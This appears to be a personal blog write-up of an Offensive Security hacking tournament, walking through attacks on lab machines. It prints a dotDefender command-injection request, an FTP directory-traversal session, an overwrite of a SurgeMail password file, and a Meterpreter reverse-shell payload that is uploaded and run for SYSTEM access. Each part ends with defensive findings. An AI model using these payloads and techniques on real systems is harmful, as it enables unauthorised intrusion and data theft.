61,547 views
Offensive Security Hacking Tournament – How strong was my fu ?
Over the last 2 days my friends from Corelan Team and I participated in a Hacking Tournament, organized by Offensive Security. The primary goals of the tournament are :
- be the first one to grab “secret” information from a machine and post it to the Tournament Control Panel.
- document your findings and submit them to offsec.
A lot of people registered for the tournament, so in order to avoid massive overload and bandwidth issues, a few days before the contest would start, all participants were told that they would have to pass a “n00b” filter, an “easy” phase1 challenge before we could actually VPN into the lab and start the real challenge.
That’s the scope.
What follows below, are my personal notes I took during the contest. (and in case you were wondering : I registered as “corelanc0d3r” (corelanc0d3r@gmail.com).
Before getting started, it’s important to note that I’m not a pentester at all. I just took OffSec’s “Try Harder” philosophy serious and tried to “think out of the box” instead of relying/focussing on tools. Let’s find out how far I got with this approach. Whether that was enough to break the challenges or not, will become clear soon.
Before the games started, I was hoping there would be a good amount of of Windows systems / Exploit building exercises (and not a lot of linux systems/web based apps because I’m not really strong in those areas)
You can see the scoreboard here and find out how good/average/bad I did : http://scoreboard.information-security-training.com/scoreboard/
The n00b filter
In the “pre-challenge” exercise (the challenge to filter participants and only allow the first 100 to connect), we were kindly requested to find a secret key and use it to register for the tournament Control Panel. Upon connecting to the machines hosting the “secret key”, a simple login form was displayed : (http://www1.noob-filter.com or http://www2.noob-filter.com)
The “hints and tips” section of the tournament stated that, in this phase of the tournament, the goal is to get the contents of a file called n00bSecret.txt and use the key inside this file to register for the real labs. Only the first 100 people to get this file/extract the key from the file, would get a seat for the real tournament.
The game just started. It’s saturday, 4pm, and I had invited some friends to come over later in the evening… well, in about an hour and a half to be more precise… I still needed to prep some stuff in the kitchen, so I decided to give it my best shot, but at the same time I also realized that if I wouldn’t be able to get the secret key before my little party starts, I wouldn’t probably make it in time (=be one of the first 100 people) either. Time pressure :-) Let’s see.
Back to the login page. Usually, when someone sees a login page during a pentest, there’s a big chance they will try to “log in” or bypass the login. But in this case, the challenge is about getting a file.
At the same time, the only thing we see is the login page. So my initial plan was not to start “hammering” on the login page, but rather to see if the form/login page will give us some information that can be helpful to get access to the system (regardless of whether there is something behind the login page).
Of course, if that wouldn’t lead to anything useful, I could still do plan B : bruteforcing files and directories.
I had a quick look at the source (fields, forms, etc) of the login page but there was not much to see. So my next step was to see what kind of error messages I could trigger when doing some simple tests. I decided to start with a simple sql injection attempt (basically just put a single quote in the Username field).
That attempt redirected me to an error page generated by a plugin called dotDefender.
Note : at the time of writing this documentation, it looks like the offsec crew changed the behaviour to block the display of the dotDefender error message :
Look at the page source of the page :
=> clear reference to “Applicure”, which is the company that developed dotDefender :
So from this point forward, it pretty easy to figure out that dotDefender is installed in the /dotDefender folder. (Grab yourself a trial version, install it, done… or just Google for it)
Anyways, by navigating into the dotDefender folder, I got a prompt for a username and password (basic authentication request)
The login text says I should try “admin” as username. Let’s try some obvious combinations things. admin/admin, admin/1234, admin/password… bingo ! the admin/password combination worked fine.
That brings us to vulnerability 1 : the username is admin, and the password is “password”. The configuration of an easy-to-guess password (in combination with the fact that the admin account name was displayed on the login form), allows me to get access to the dotDefender Site Management page. This poor configuration would allow unauthorized people to change the dotDefender configuration, potentially allowing them to bypass input restrictions.
That’s nice, but it might not help me bypassing the login form, as the “Stop dotDefender” button doens’t really seem to do anything. So I did a quick search for vulnerabilities in the dotDefender plugin, and I got this :
http://www.exploit-db.com/exploits/10261
An attack looks like: --------------------/Request/-------------------- POST /dotDefender/index.cgi HTTP/1.1 Host: 172.16.159.132 User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-US; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 300 Connection: keep-alive Referer: https://172.16.159.132/dotDefender/index.cgi Authorization: Basic YWRtaW46 Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Content-Length: 95 sitename=dotdefeater&deletesitename=dotdefeater;id;ls -al ../;pwd;&action=deletesite&linenum=15 --------------------/Response/--------------------
So it looks like we can use a specially crafted POST request to execute commands on the file system.
If that is true, we can simply try to “find” the secret file on the filesystem and display it’s contents :
By hooking a web proxy between your browser and the server (or by using a custom Request editor such as Burp), we can craft/manipulate a request and insert the evil payload, basically trying to find the location of the n00bSecret.txt file. The fields to alter are
- Host
- Referer
- Authorization
- and of course, the command to execute (“find” command in this case)
POST /dotDefender/index.cgi HTTP/1.1 Host: www1.noob-filter.com User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100330 Fedora/3.5.9-1.fc11 Firefox/3.5.9 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 300 Connection: keep-alive Referer: http://www1.noob-filter.com/dotdefender/index.cgi Authorization: Basic YWRtaW46cGFzc3dvcmQ= Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Content-Length: 76 sitename=dotdefeater&deletesitename=dotdefeater;find / -name n00bSecret.txt; &action=deletesite&linenum=15
Wait until the find operation completes and review the results that are sent back by the server :
Nice.
I crafted another request, displaying the contents of the file :
Game over… and my friends just arrived…. Perfect timing :)
Conclusions :
A number of critical vulnerabilities were found :
- Weak admin username/password + display of admin username in the login form of dotDefender.
- Access to the dotDefender admin page from the internet. Access to admin pages should be restricted to trusted IP’s only.
- Access to login forms/admin pages in general should be at least protected via SSL
- Remote Command Execution vulnerability in the dotDefender plugin, allowing to steal sensitive information from the system (n00bSecret.txt was just an example. You can also get some other files from the system :)
/etc/passwd
After entering my key in the Scoreboard/Control Panel login form, I got 25 points and was able to download the VPN files.
(don’t pay attention to the points – I made the screenshot while working on the last assignment)
So far so good, time to party with my friends. I set up the VPN connection and joined my wife and friends to have a little party.
Update : 11:30pm – friends went home, I’m a bit drunk… but ready to start with the real challenge !
Note : It took until sunday evening before the first 100 participants hacked their way through the n00bfilter… So I guess I didn’t really had to hurry up after all :-) Oh well…
Target infrastructure
Challenge 1 : killthen00b
After checking that my vpn connection to the offsec labs still worked (I was assigned IP 192.168.6.114) , I decided to start with challenge “killthen00b”. The machines running this challenge were hosted at IP 192.168.6.70, .71 and .72
Part of the challenge is to deal with the process of reverts. Every 30 minutes, the machines get reverted to the previous snapshot, basically removing all of the changes that were applied to the system in the last 30 minutes.
A quick portscan (not a complete scan – I figured I could still run a full scan while looking at the obvious ports) on one of these 3 machines indicates the following “Interesting ports”
TCP Scan :
peter@krypt2:~$ nmap -A 192.168.6.70 -nvv Starting Nmap 5.21 ( http://nmap.org ) at 2010-05-09 12:24 CEST NSE: Loaded 36 scripts for scanning. Initiating Ping Scan at 12:24 Scanning 192.168.6.70 [2 ports] Completed Ping Scan at 12:24, 2.30s elapsed (1 total hosts) Initiating Connect Scan at 12:24 Scanning 192.168.6.70 [1000 ports] Discovered open port 21/tcp on 192.168.6.70 Discovered open port 993/tcp on 192.168.6.70 Discovered open port 995/tcp on 192.168.6.70 Discovered open port 80/tcp on 192.168.6.70 Discovered open port 143/tcp on 192.168.6.70 Discovered open port 587/tcp on 192.168.6.70 Discovered open port 25/tcp on 192.168.6.70 Discovered open port 110/tcp on 192.168.6.70 Discovered open port 3389/tcp on 192.168.6.70 Discovered open port 7025/tcp on 192.168.6.70 Discovered open port 465/tcp on 192.168.6.70 Discovered open port 7443/tcp on 192.168.6.70 Discovered open port 366/tcp on 192.168.6.70 Discovered open port 106/tcp on 192.168.6.70 Completed Connect Scan at 12:24, 6.58s elapsed (1000 total ports) Initiating Service scan at 12:24 Scanning 14 services on 192.168.6.70 Completed Service scan at 12:24, 22.05s elapsed (14 services on 1 host)
UDP Scan :
Nmap scan report for 192.168.6.70 Host is up (0.052s latency). Not shown: 999 open|filtered ports PORT STATE SERVICE 137/udp open netbios-ns MAC Address: 00:50:56:BC:1C:69 (VMware)
Based on the MAC address, the machine is running as a guest inside VMWare. This may be interesting information for a pentester… If he can own the guest, he may be able to attack the host (VMWare) system as well. Of course, the MAC addresses may be changed on purpose, but that is not relevant at this point.
Let’s have a look at the services and see if I can find some obvious issues.
First of all, the tournament Hints/Help page indicated that the FTP credentials are devil/killthen00b.
Since FTP is at the top of the list (see TCP Scan), let’s find out if these credentials work :
peter@krypt2:~$ ftp 192.168.6.70 Connected to 192.168.6.70. 220-Complete FTP server 220 FTP Server v 3.3.0 Name (192.168.6.70:peter): devil 331 Password required for devil Password: 230 User devil logged in. Remote system type is UNIX. Using binary mode to transfer files. ftp> pwd 257 "/MyDocuments" is current directory. ftp> ls 200 PORT command successful. 150 Opening ASCII mode data connection for listing dr-xrwx--- 1 admin users 0 May 04 00:10 My Music dr-xrwx--- 1 admin users 0 May 04 00:10 My Pictures dr-xrwx--- 1 admin users 0 May 04 00:10 My Videos 226 Transfer complete. ftp>
Ok, credentials work fine. But there’s not a lot of information that can be found here. It looks like we are stuck in the My Documents folder
257 "/MyDocuments" is current directory.
ftp> cd ..
550 CWD: Operation not permitted.
ftp>
The server banner returns “Complete FTP server”. A quick search on exploit-db shows that this FTP server (if we can believe the banner of course) may suffer from a directory traversal vulnerability : http://www.exploit-db.com/exploits/11973.
So let’s see if we can break out of the root using the directory traversal vulnerability on this ftp server :
ftp> cd \..\..\..\ 250 Directory changed to "/MyDocuments/......". ftp> ls 200 PORT command successful. 150 Opening ASCII mode data connection for listing dr-xrwx--- 1 admin users 0 May 04 00:10 AppData dr-xrwx--- 1 admin users 0 May 04 00:10 Application Data dr-xrwx--- 1 admin users 0 May 04 00:10 Cookies dr-xrwx--- 1 admin users 0 Jul 13 2009 Desktop dr-xrwx--- 1 admin users 0 May 04 00:10 Documents dr-xrwx--- 1 admin users 0 Jul 13 2009 Downloads dr-xrwx--- 1 admin users 0 Jul 13 2009 Favorites dr-xrwx--- 1 admin users 0 Jul 13 2009 Links dr-xrwx--- 1 admin users 0 May 04 00:10 Local Settings dr-xrwx--- 1 admin users 0 Jul 13 2009 Music dr-xrwx--- 1 admin users 0 May 04 00:10 My Documents dr-xrwx--- 1 admin users 0 May 04 00:10 NetHood dr-xrwx--- 1 admin users 0 Jul 13 2009 Pictures dr-xrwx--- 1 admin users 0 May 04 00:10 PrintHood dr-xrwx--- 1 admin users 0 May 04 00:10 Recent dr-xrwx--- 1 admin users 0 Jul 13 2009 Saved Games dr-xrwx--- 1 admin users 0 May 04 00:10 SendTo dr-xrwx--- 1 admin users 0 May 04 00:10 Start Menu dr-xrwx--- 1 admin users 0 May 04 00:10 Templates dr-xrwx--- 1 admin users 0 Jul 13 2009 Videos -r--rr---- 1 admin users 262144 May 04 00:10 NTUSER.DAT -r--rr---- 1 admin users 226304 May 04 00:10 ntuser.dat.LOG1 -r--rr---- 1 admin users 0 May 04 00:10 ntuser.dat.LOG2 -r--rr---- 1 admin users 65536 May 04 00:10 NTUSER.DAT{6cced2f1-... -r--rr---- 1 admin users 524288 May 04 00:10 NTUSER.DAT{6cced2f1-... -r--rr---- 1 admin users 524288 May 04 00:10 NTUSER.DAT{6cced2f1-... -r--rr---- 1 admin users 20 May 04 00:10 ntuser.ini 226 Transfer complete. ftp> cd \..\..\..\ 250 Directory changed to "/MyDocuments/....../......". ftp> ls 200 PORT command successful. 150 Opening ASCII mode data connection for listing dr-xrwx--- 1 admin users 0 May 03 23:05 Administrator dr-xrwx--- 1 admin users 0 Jul 13 2009 All Users dr-xrwx--- 1 admin users 0 Aug 31 2009 Default dr-xrwx--- 1 admin users 0 Jul 13 2009 Default User dr-xrwx--- 1 admin users 0 May 04 00:06 devil dr-xrwx--- 1 admin users 0 May 04 00:08 ftp dr-xrwx--- 1 admin users 0 Jul 13 2009 Public dr-xrwx--- 1 admin users 0 May 04 00:10 TEMP -r--rr---- 1 admin users 174 Jul 13 2009 desktop.ini 226 Transfer complete. ftp> cd \..\..\..\ 250 Directory changed to "/MyDocuments/....../....../......". ftp> ls 200 PORT command successful. 150 Opening ASCII mode data connection for listing dr-xrwx--- 1 admin users 0 May 03 22:58 $Recycle.Bin dr-xrwx--- 1 admin users 0 Jul 13 2009 Documents and Settings dr-xrwx--- 1 admin users 0 Jul 13 2009 PerfLogs dr-xrwx--- 1 admin users 0 May 03 19:20 Program Files dr-xrwx--- 1 admin users 0 May 03 19:21 ProgramData dr-xrwx--- 1 admin users 0 May 03 22:51 Python26 dr-xrwx--- 1 admin users 0 Apr 30 01:21 Recovery dr-xrwx--- 1 admin users 0 May 06 05:01 surgemail dr-xrwx--- 1 admin users 0 May 03 22:38 System Volume Information dr-xrwx--- 1 admin users 0 May 04 00:10 Users dr-xrwx--- 1 admin users 0 May 03 21:28 Windows -r--rr---- 1 admin users 24 Jun 10 2009 autoexec.bat -r--rr---- 1 admin users 10 Jun 10 2009 config.sys -r--rr---- 1 admin users 2043449344 May 03 23:14 pagefile.sys -r--rr---- 1 admin users 12645888 May 03 05:53 surgemail_installer.exe 226 Transfer complete. ftp>
Nice, so we have access to the entire disk. I started downloading most of the files, to see if I would need to analyze them later on. (After all, files such as NTUSER.dat.* may contain sensitive information)
Before continuing, let’s look at the other services. Perhaps we can use the fact that we can access the filesystem to get some information about the configuration of these services.
Nmap scan report for 192.168.6.70 Host is up (0.13s latency). Scanned at 2010-05-09 12:24:15 CEST for 37s Not shown: 986 filtered ports PORT STATE SERVICE VERSION 21/tcp open ftp |_ftp-anon: Anonymous FTP login allowed 25/tcp open smtp Surgemail smtpd 3.8k4-4 |_smtp-commands: EHLO killthen00b. Hello example.org (192.168.6.114), AUTH PLAIN LOGIN, ETRN, X-ID 6b696c6c7468656e30306231323732393539363939, SIZE 20971520, HELP 80/tcp open http DNews Web Based Manager |_http-favicon: Unknown favicon MD5: 803DA8BF442FFF23072386E2B5EF2928 |_html-title: SurgeMail Welcome Page 106/tcp open pop3pw Qualcomm poppassd (Maximum users connected) 110/tcp open pop3 SurgeMail pop3d 3.8k4-4 143/tcp open imap SurgeMail imapd 3.8k4-4 |_imap-capabilities: UIDPLUS SURGEMAIL IMAP4REV1 IMAP4 XFLDDATA IDLE NAMESPACE QUOTA 366/tcp open smtp Surgemail smtpd 3.8k4-4 465/tcp open ssl/smtp Surgemail smtpd 3.8k4-4 | sslv2: server still supports SSLv2 | SSL2_DES_192_EDE3_CBC_WITH_MD5 | SSL2_IDEA_128_CBC_WITH_MD5 | SSL2_RC2_CBC_128_CBC_WITH_MD5 | SSL2_RC4_128_WITH_MD5 | SSL2_DES_64_CBC_WITH_MD5 |_ SSL2_RC4_128_EXPORT40_WITH_MD5 587/tcp open smtp Surgemail smtpd 3.8k4-4 993/tcp open ssl/imap SurgeMail imapd 3.8k4-4 | sslv2: server still supports SSLv2 | SSL2_DES_192_EDE3_CBC_WITH_MD5 | SSL2_IDEA_128_CBC_WITH_MD5 | SSL2_RC2_CBC_128_CBC_WITH_MD5 | SSL2_RC4_128_WITH_MD5 | SSL2_DES_64_CBC_WITH_MD5 |_ SSL2_RC4_128_EXPORT40_WITH_MD5 |_imap-capabilities: UIDPLUS SURGEMAIL IMAP4REV1 IMAP4 ... 995/tcp open ssl/pop3 SurgeMail pop3d 3.8k4-4 | sslv2: server still supports SSLv2 | SSL2_DES_192_EDE3_CBC_WITH_MD5 | SSL2_IDEA_128_CBC_WITH_MD5 | SSL2_RC2_CBC_128_CBC_WITH_MD5 | SSL2_RC4_128_WITH_MD5 | SSL2_DES_64_CBC_WITH_MD5 |_ SSL2_RC4_128_EXPORT40_WITH_MD5 |_pop3-capabilities: USER SURGEMAIL UIDL TOP OK(K Capability list follows) 3389/tcp open microsoft-rdp Microsoft Terminal Service 7025/tcp open ssl/http DNews Web Based Manager | sslv2: server still supports SSLv2 | SSL2_DES_192_EDE3_CBC_WITH_MD5 | SSL2_IDEA_128_CBC_WITH_MD5 | SSL2_RC2_CBC_128_CBC_WITH_MD5 | SSL2_RC4_128_WITH_MD5 | SSL2_DES_64_CBC_WITH_MD5 |_ SSL2_RC4_128_EXPORT40_WITH_MD5 |_html-title: SurgeMail (killthen00b) |_http-favicon: Unknown favicon MD5: 803DA8BF442FFF23072386E2B5EF2928 7443/tcp open ssl/http Surgemail webmail (DNews based) | sslv2: server still supports SSLv2 | SSL2_DES_192_EDE3_CBC_WITH_MD5 | SSL2_IDEA_128_CBC_WITH_MD5 | SSL2_RC2_CBC_128_CBC_WITH_MD5 | SSL2_RC4_128_WITH_MD5 | SSL2_DES_64_CBC_WITH_MD5 |_ SSL2_RC4_128_EXPORT40_WITH_MD5 |_http-favicon: Unknown favicon MD5: 803DA8BF442FFF23072386E2B5EF2928 |_html-title: SurgeMail Welcome Page 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at http://www.insecure.org/cgi-bin/servicefp-submit.cgi : SF-Port21-TCP:V=5.21%I=7%D=5/9%Time=4BE68D5E%P=i686-pc-linux-gnu%r(NULL,31 SF:,"220-Complete\x20FTP\x20server\r\n220\x20FTP\x20Server\x20v\x203\.3\.0 SF:\r\n")%r(GenericLines,31,"220-Complete\x20FTP\x20server\r\n220\x20FTP\x SF:20Server\x20v\x203\.3\.0\r\n")%r(Help,54,"220-Complete\x20FTP\x20server SF:\r\n220\x20FTP\x20Server\x20v\x203\.3\.0\r\n502\x20Command\x20not\x20im SF:plemented:\x20HELP\r\n")%r(SMBProgNeg,31,"220-Complete\x20FTP\x20server SF:\r\n220\x20FTP\x20Server\x20v\x203\.3\.0\r\n"); Service Info: Host: killthen00b; OS: Windows
Ok, so we have Qualcomm poppassd, Surgemail and some other stuff.
Where to start ? This is what I did :
Surgemail allows access to certain services via a webpage. Surgemail is a name that showed up a few times in the nmap services list. So it looks like Surgemail is reponsible for the vast majority of the services on this machine.
If you have to pick something to start with, and you see that one application appears to be responsible for most of the services on the machine, then I figured this is a high risk/high impact service.
In the ftp listing of the root of the drive, I noticed 2 references to Surgemail :
- a folder called “surgemail”
- a file called “surgemail_installer.exe”
I downloaded the installer file (which was still possible when I was connected to the lab) and installed it on a test box. During the installation of surgemail on my test box, I created an admin account (user: admin/ password: admin) and tried to find the file where the admin username/password was stored. I discovered that credentials get stored into a file called nwauth.add
So let’s see if we can use this to get ourselves an admin account in surgemail on the lab machine… Maybe the hashing/encoding of the password will work for any account (no salt etc).
Still connected via FTP, I downloaded the nwauth.add file from the server
250 Directory changed to "/MyDocuments/....../....../....../......". ftp> cd surgemail 250 Directory changed to "/MyDocuments/....../....../....../....../surgemail". ftp> get nwauth.add local: nwauth.add remote: nwauth.add 200 PORT command successful. 150 Opening BINARY mode data connection for nwauth.add 226 Transfer complete. 227 bytes received in 0.00 secs (152.9 kB/s) ftp> bye 221 Goodbye. root@krypt2:/vpn/70# cat nwauth.add n00b@killthen00b:{ssha}floeVmRUcb7ku3ChQzBdC4acP3ugCInK:created="1272891311" mailaccess="" mailstatus="" admin_access="" quota="" expire="0" full_name="" max_in="" phone="" smsto="" user_access="" alias_quota="" list_quota=""
I simply changed the password for the n00b user, added a new user corelanc0d3r (again with the same “admin” hash), and then uploaded the file. I also added a user devil (again with the same password), and uploaded the file again to the server
peter@krypt2:/vpn/70$ cat nwauth.add
corelanc0d3r@killthen00b:{ssha}fqwU1VAdjf6TTr7Av3pUYDxHJ6Y8TQxt:
n00b@killthen00b:{ssha}fqwU1VAdjf6TTr7Av3pUYDxHJ6Y8TQxt:
devil@killthen00b:{ssha}fqwU1VAdjf6TTr7Av3pUYDxHJ6Y8TQxt:
(again, when I performed the exercise, this file was readable and could be downloaded. It looks like muts and his friends got fed up by people trying to change passwords and they finally blocked access to this file)
Anyways, I uploaded the modified nwauth.add file and tried to log in to the domadmin (Domain Management) page using the “corelanc0d3r” and password “admin” combination
Result :
Nice.
Let’s see if I can create some stuff here (just for fun). I decided to create a little blog and publish it on the server :
muahaha… ok, enough playing. So I found a second serious vulnerability on this box. But I should stay focussed and try to 0wn the machine in order to grab the “secret key” from the machine, which is what is really needed to complete this challenge. Focus Peter, Focus.
I went back to the surgemail home page and clicked on the “webmail” link.
When looking at the WebMail login page, I noticed this :
WebMail appears to be an executable, in the scripts folder. So what if we can put our own executable in this “scripts” folder and call it from the web browser ?
First, using metasploit’s msfpayload, let’s create an evil executable (Meterpreter reverse tcp shell) that would give us a nice shell :
./msfpayload windows/meterpreter/reverse_tcp RHOST=192.168.6.114 RPORT=4444 LHOST=192.168.6.114 LPORT=4444 X > _corelanc0d3r.exe
I then uploaded the file to the scripts folder via the FTP directory traversal bug :
root@krypt2:/vpn/70# ftp 192.168.6.70 Connected to 192.168.6.70. 220-Complete FTP server 220 FTP Server v 3.3.0 Name (192.168.6.70:peter): devil 331 Password required for devil Password: 230 User devil logged in. Remote system type is UNIX. Using binary mode to transfer files. ftp> cd \..\..\..\ 250 Directory changed to "/MyDocuments/......". ftp> cd \..\..\..\ 250 Directory changed to "/MyDocuments/....../......". ftp> cd \..\..\..\ 250 Directory changed to "/MyDocuments/....../....../......". ftp> cd surgemail 250 Directory changed to "/MyDocuments/....../....../....../surgemail". ftp> cd scripts 250 Directory changed to "/MyDocuments/....../....../....../surgemail/scripts". ftp> bin 200 Type set to I ftp> put _corelanc0d3r.exe local: _corelanc0d3r.exe remote: _corelanc0d3r.exe 200 PORT command successful. 150 Opening BINARY mode data connection for _corelanc0d3r.exe 226 Transfer complete. 37888 bytes sent in 0.54 secs (69.1 kB/s)
Next, set up a metasploit multi handler and listen for incoming connections :
root@krypt2:/pentest/exploits/framework3# ./msfcli multi/handler payload=windows/meterpreter/reverse_tcp lhost=192.168.6.114 lport=4444 E [*] Please wait while we load the module tree... [*] Started reverse handler on port 4444 [*] Starting the payload handler...
Finally I called the executable from the web browser :
and the meterpreter session kicked in :
[*] Please wait while we load the module tree... [*] Started reverse handler on port 4444 [*] Starting the payload handler... [*] Sending stage (725504 bytes) [*] Meterpreter session 1 opened (192.168.6.114:4444 -> 192.168.6.70:49604)
w00t. Game over ? – Maybe… What are my privileges ?
meterpreter > getuid Server username: NT AUTHORITY\SYSTEM meterpreter > ipconfig Software Loopback Interface 1 Hardware MAC: 00:00:00:00:00:00 IP Address : 127.0.0.1 Netmask : 255.0.0.0 Intel(R) PRO/1000 MT Network Connection Hardware MAC: 00:50:56:bc:1c:69 IP Address : 192.168.6.70 Netmask : 255.255.255.0 meterpreter > shell Process 3656 created. Channel 1 created. Microsoft Windows [Version 6.1.7600] Copyright (c) 2009 Microsoft Corporation. All rights reserved. c:\surgemail\scripts>
Yeah – game over. That’s good enough for me. Let’s see if we can find the file.
Usually, offsec will plant a “proof” .txt file on the Desktop of the administrator of the machine. But since I already had a shell, I decided to just list all txt files and see if I could see a file that looks as if it’s a proof file.
I issued a “dir *.txt /S” and evaluated the output, and I found (as expected) the proof file on the desktop of the administrator.
I then used the shell to grab the secret file from the system :
c:\surgemail\scripts>cd / cd / c:\>cd users cd users c:\Users>dir dir Volume in drive C has no label. Volume Serial Number is 0CDF-A146 Directory of c:\Users 05/04/2010 12:10 AM. 05/04/2010 12:10 AM .. 05/03/2010 11:05 PM Administrator 05/04/2010 12:06 AM devil 05/04/2010 12:08 AM ftp 07/13/2009 09:08 PM Public 05/04/2010 12:10 AM TEMP 0 File(s) 0 bytes 7 Dir(s) 2,687,561,728 bytes free c:\Users>cd Administrator cdcd Administrator c:\Users\Administrator> Desktop cd Desktop c:\Users\Administrator\Desktop>dir dir Volume in drive C has no label. Volume Serial Number is 0CDF-A146 Directory of c:\Users\Administrator\Desktop 05/03/2010 11:59 PM . 05/03/2010 11:59 PM .. 05/03/2010 11:59 PM 32 proof.txt 1 File(s) 32 bytes 2 Dir(s) 2,687,496,192 bytes free c:\Users\Administrator\Desktop>type proof.txt type proof.txt a61b0c1bf71267289efeecf778b1e51e c:\Users\Administrator\Desktop>
1:10 am. Game over. No need to look any further at this point. I even didn’t consider running a full nmap anymore.
What else can be done here ?
Basically,everything you want. Create admin user, rdp into the machine, run hashdump, use this machine to pivot into other machines… etc etc
But I’m a good boy… I just went ahead and submitted the key … and earned another 25 points.
Conclusions :
I found a number of critical vulnerabilities on this machine. Because of time constraints, as well as the fact that I already owned the machine, I didn’t really look any further after I got hold of the proof file
So this list may be far from complete :
- FTP server is vulnerable to a directory traversal attack
- FTP server allows anonymous access (may not be a vulnerability by itself)
- insecure file permissions on the surgemail folder, allowing to download and upload files. This leads to
- the ability to change the login credentials and gain
- admin access to the surgemail system
- access to the mailbox of other users. I changed the password of the “devil” account as well (set pw to “admin”), changed a parameter in the webadmin.ini file, and I could read the mails from this mailbox. The mailbox contained 3 log entries (surgemail server restart notifications, with some interesting info)
- etc (use your imagination)
- the ability to upload an evil executable into the “scripts” folder and executing it in the context of the server, gaining full system access (and allowing to grab the “proof.txt” file that contained the secret key)
- the ability to change the login credentials and gain
- weak hash/cipher algo (SSL services allow the use of RC2, MD5, etc, which are considered to be weak)
- access to admin pages/webmail (= potentially sensitive information)/etc webpages should be forced to use SSL. (While SSL access was possible over port 7443, the default port (80) was not encrypted, and that’s what most people might use. Just a simple redirect on port 80, forcing users to use SSL might do the job as well)
- Based on the contents of the avast.log file I found on the machine, surgemail may not be protected by avast antivirus
(In fact, I found a good amount of log files in the surgemail folder – unprotected and waiting to be altered after a comprimise)
- Use valid certificates (instead of invalid self-signed certificate)
- insecure firewall configurations
- too many ports open (more than needed to host services)
- allowing outbound traffic (reverse tunnel) when it’s not really necessary (allowing attacker to set up a reverse tunnel)
- client facing services running with system privileges, increasing the impact when a vulnerability gets exploited :
meterpreter > ps Process list ============ PID Name Arch User Path --- ---- ---- ---- ---- 0 [System Process] 4 System x86 260 smss.exe x86 NT AUTHORITY\SYSTEM \SystemRoot\System32\smss.exe 348 csrss.exe x86 NT AUTHORITY\SYSTEM C:\Windows\system32\csrss.exe 392 wininit.exe x86 NT AUTHORITY\SYSTEM C:\Windows\system32\wininit.exe 480 services.exe x86 NT AUTHORITY\SYSTEM C:\Windows\system32\services.exe 488 lsass.exe x86 NT AUTHORITY\SYSTEM C:\Windows\system32\lsass.exe 500 lsm.exe x86 NT AUTHORITY\SYSTEM C:\Windows\system32\lsm.exe 596 svchost.exe x86 NT AUTHORITY\SYSTEM C:\Windows\system32\svchost.exe 668 svchost.exe x86 NT AUTHORITY\NETWORK SERVICE C:\Windows\system32\svchost.exe 760 svchost.exe x86 NT AUTHORITY\LOCAL SERVICE C:\Windows\System32\svchost.exe 816 svchost.exe x86 NT AUTHORITY\SYSTEM C:\Windows\System32\svchost.exe 860 svchost.exe x86 NT AUTHORITY\SYSTEM C:\Windows\system32\svchost.exe 936 svchost.exe x86 NT AUTHORITY\LOCAL SERVICE C:\Windows\system32\svchost.exe 1048 svchost.exe x86 NT AUTHORITY\NETWORK SERVICE C:\Windows\system32\svchost.exe 1160 spoolsv.exe x86 NT AUTHORITY\SYSTEM C:\Windows\System32\spoolsv.exe 1196 svchost.exe x86 NT AUTHORITY\LOCAL SERVICE C:\Windows\system32\svchost.exe 1364 CompleteFTPService.exe x86 NT AUTHORITY\SYSTEM C:\Program Files\Complete FTP\Server\CompleteFTPService.exe 1664 surgemail.exe x86 NT AUTHORITY\SYSTEM c:\surgemail\surgemail.exe 1828 swatch.exe x86 NT AUTHORITY\SYSTEM c:\surgemail\swatch.exe 1884 nwauth.exe x86 NT AUTHORITY\SYSTEM c:\surgemail\nwauth.exe 328 WmiPrvSE.exe x86 NT AUTHORITY\SYSTEM C:\Windows\system32\wbem\wmiprvse.exe 1304 SearchIndexer.exe x86 NT AUTHORITY\SYSTEM C:\Windows\system32\SearchIndexer.exe 2260 sppsvc.exe x86 NT AUTHORITY\NETWORK SERVICE C:\Windows\system32\sppsvc.exe 2588 svchost.exe x86 NT AUTHORITY\SYSTEM C:\Windows\System32\svchost.exe 3064 svchost.exe x86 NT AUTHORITY\LOCAL SERVICE C:\Windows\system32\svchost.exe 848 csrss.exe x86 NT AUTHORITY\SYSTEM C:\Windows\system32\csrss.exe 748 winlogon.exe x86 NT AUTHORITY\SYSTEM C:\Windows\system32\winlogon.exe 784 LogonUI.exe x86 NT AUTHORITY\SYSTEM C:\Windows\system32\LogonUI.exe 3912 csrss.exe x86 NT AUTHORITY\SYSTEM C:\Windows\system32\csrss.exe 3696 winlogon.exe x86 NT AUTHORITY\SYSTEM C:\Windows\system32\winlogon.exe 148 taskhost.exe x86 killthen00b\Administrator C:\Windows\system32\taskhost.exe 1856 rdpclip.exe x86 killthen00b\Administrator C:\Windows\system32\rdpclip.exe 3788 dwm.exe x86 killthen00b\Administrator C:\Windows\system32\Dwm.exe 3916 explorer.exe x86 killthen00b\Administrator C:\Windows\Explorer.EXE 2000 jusched.exe x86 killthen00b\Administrator C:\Program Files\Common Files\Java\Java Update\jusched.exe 3152 python.exe x86 killthen00b\Administrator C:\Python26\python.exe 316 conhost.exe x86 killthen00b\Administrator C:\Windows\system32\conhost.exe 884 WmiPrvSE.exe x86 NT AUTHORITY\NETWORK SERVICE C:\Windows\system32\wbem\wmiprvse.exe 3568 _corelanc0d3r.exe x86 NT AUTHORITY\SYSTEM c:\surgemail\scripts\_corelanc0d3r.exe 340 VSSVC.exe x86 NT AUTHORITY\SYSTEM C:\Windows\system32\vssvc.exe 3968 svchost.exe x86 NT AUTHORITY\SYSTEM C:\Windows\System32\svchost.exe 2116 TrustedInstaller.exe x86 NT AUTHORITY\SYSTEM C:\Windows\servicing\TrustedInstaller.exe
Anyways, there might be many more, but I went straight to the next challenge.
